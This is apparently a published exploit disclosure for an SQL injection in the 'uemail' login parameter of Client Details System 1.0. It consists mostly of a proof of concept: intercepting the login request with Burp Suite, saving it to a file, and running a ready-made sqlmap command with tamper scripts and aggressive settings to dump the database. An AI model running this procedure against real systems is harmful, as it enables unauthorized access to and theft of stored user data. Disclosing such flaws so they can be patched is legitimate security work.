## Description:
Client Details System 1.0 allows SQL Injection via parameter 'uemail' in "/clientdetails/". Exploiting this issue could allow an attacker to compromise the application, access or modify data,or exploit latest vulnerabilities in the underlying database.
## Proof of Concept:
+ Go to the User Login page: "http://localhost/clientdetails/"
+ Fill email and password.
+ Intercept the request via Burp Suite and send to Repeater.
+ Copy and paste the request to a "r.txt" file.
+ Captured Burp request:
```
POST /clientdetails/ HTTP/1.1
Host: localhost
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8

uemail=user@mail.com&login=LOG+IN&password=P@ass123
```
+ Use sqlmap to exploit. In sqlmap, use 'uemail' parameter to dump the database.
```
python sqlmap.py -r r.txt -p uemail --risk 3 --level 5 --threads 1 --random-agent tamper=between,randomcase --proxy="http://127.0.0.1:8080" --dbms mysql --batch --current-db
```
```
